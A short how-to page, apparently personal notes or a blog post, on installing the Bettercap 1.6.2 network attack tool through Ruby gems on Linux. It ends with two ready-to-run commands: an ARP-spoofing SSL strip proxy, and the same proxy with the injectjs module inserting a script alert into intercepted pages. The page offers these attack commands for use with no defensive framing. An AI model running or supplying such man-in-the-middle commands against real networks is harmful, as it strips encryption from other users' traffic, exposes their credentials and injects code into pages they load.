Skip to content

Bettercap 1.6.2 on Any Linux Based System Using Ruby Gem


Install Ruby Gem

apt-get install ruby-full
apt-get install libpcap-dev
gem update --system
gem install bettercap

find where gems are installed:

Run and look for "- GEM PATHS:"

gem environment

follow the path and append gem. for exmaple:


Create a environmental symlink to bettercap to root directory

ln -s /var/lib/gems/2.5.0/gems/bettercap-1.6.2/bin/bettercap /root/bettercap-1.6.2

run from root directory


SSL Strip Commands

Change the IP according to you usage

Basic SSL Strip

bettercap-1.6.2 -X -T --proxy

SSL Strip With XSS

bettercap-1.6.2 -X -T --proxy --proxy-module injectjs --js-data "<script>alert('SSL STRIP, Script Injection')</script>"